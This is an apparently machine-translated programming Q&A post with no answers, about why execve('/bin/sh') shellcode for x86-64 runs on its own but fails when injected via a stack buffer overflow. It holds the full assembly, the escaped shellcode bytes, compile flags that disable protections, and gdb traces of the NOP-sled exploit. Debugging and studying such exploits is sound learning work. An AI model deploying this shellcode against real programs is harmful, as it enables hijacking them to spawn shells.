ASM shell spawner工作,但缓冲区溢出实现失败

时间:2017-10-22 00:56:25

标签: assembly x86-64 buffer-overflow exploit shellcode

我有汇编代码:

section .shellcode  progbits alloc exec write align=16
global _start
_start:
xor rdx,rdx
xor rbx,rbx
xor rax,rax
xor rsi,rsi
xor rdi,rdi
mov qword rbx,0x68732f6e69622f2f
shr rbx,0x8
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall

汇编代码调用execve,使用" / bin / sh"正如所料。

我这样运行:

nasm -f elf64 shellCode.asm  
ld shellCode.o -o shellCode  
./shellCode  

成功生成了一个shell。

我使用" objdump -D ./shellCode:

48 31 d2                xor    %rdx,%rdx
48 31 db                xor    %rbx,%rbx
48 31 c0                xor    %rax,%rax
48 31 f6                xor    %rsi,%rsi
48 31 ff                xor    %rdi,%rdi
48 bb 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rbx
2f 73 68
48 c1 eb 08             shr    $0x8,%rbx
53                      push   %rbx
48 89 e7                mov    %rsp,%rdi
50                      push   %rax
57                      push   %rdi
48 89 e6                mov    %rsp,%rsi
b0 3b                   mov    $0x3b,%al
0f 05                   syscall

我把它变成了我的漏洞利用的shellcode:

\x48\x31\xd2\x48\x31\xdb\x48\x31\xc0\x48\x31\xf6\x48\x31\xff\x48\xbb\x2f\x2f\x62\x69
\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05  

我用NOP缓冲它。我最后有回信地址 我在gdb中编译并启动易受攻击的程序,以验证shellcode是否正确放置在内存中并且正在运行:

gcc -g -fno-stack-protector -z execstack vuln.c -o vuln
gdb ./vuln

为了节省一些空间并简化操作,我将只显示内存已填充我的shellcode,并且它正在执行:

(gdb) x/40x $rip
0x7fffffffe1d0: 0x90909090      0x90909090      0x48d23148      0x3148db31
0x7fffffffe1e0: 0xf63148c0      0x48ff3148      0x622f2fbb      0x732f6e69
0x7fffffffe1f0: 0xebc14868      0x89485308      0x485750e7      0x3bb0e689
0x7fffffffe200: 0x9090050f      0x90909090      0x90909090      0x90909090
唉,在完成指示的同时,我到达了这个:

(gdb) nexti
0x00007fffffffe1f1 in ?? ()
(gdb) i r
rax            0x0      0
rbx            0x68732f6e69622f2f       7526411553527181103
rcx            0x7ffff7b01470   140737348899952
rdx            0x0      0
rsi            0x0      0
rdi            0x0      0
rbp            0x9090909090909090       0x9090909090909090
rsp            0x7fffffffe260   0x7fffffffe260
r8             0x0      0
r9             0x77     119
r10            0x7c     124
r11            0x246    582
r12            0x400450 4195408
r13            0x7fffffffe330   140737488347952
r14            0x0      0
r15            0x0      0
rip            0x7fffffffe1f1   0x7fffffffe1f1
eflags         0x246    [ PF ZF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) nexti
0x00007fffffffe1f5 in ?? ()
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f

0x00007fffffffe1f6 in ?? ()

当我查看寄存器内容时,请注意,在我做之前" shr $ 0x8,rbx"。
稍后的两条指令意味着我在尝试"推送rbx"时会出现错误。到堆栈。

所以,我有两个问题 1)为什么汇编代码在自行运行时与在vuln程序缓冲区中运行时相比可以正常工作? 2)更具体地说,当我试图推送rbx(字符串" / bin / sh")时,为什么它会尝试使用rbx的内容作为访问地址?

0 个答案:

没有答案